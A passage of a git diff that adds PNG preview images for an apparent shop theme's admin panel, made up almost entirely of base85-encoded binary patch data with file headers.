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
E0H{OxqyPW_
literal 0
HcmV?d00001
diff --git a/public/admin/view/image/lightshop/catalog-type2.png b/public/admin/view/image/lightshop/catalog-type2.png
new file mode 100644
index 0000000000000000000000000000000000000000..b11a0264aabc22e1710c4cead97d1414248d4b7e
GIT binary patch
literal 12398
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
literal 0
HcmV?d00001
diff --git a/public/admin/view/image/lightshop/footer-type-1.png b/public/admin/view/image/lightshop/footer-type-1.png
new file mode 100644
index 0000000000000000000000000000000000000000..472c5d2693dba94b813400c7199112af41ad5b11
GIT binary patch
literal 6463
zcmaKRc|4Te`#-X#EJa-zt`vW%pYgYeeUahE$3Wk&iguZ=dy|Z(ZfQA85kIj8XBO?
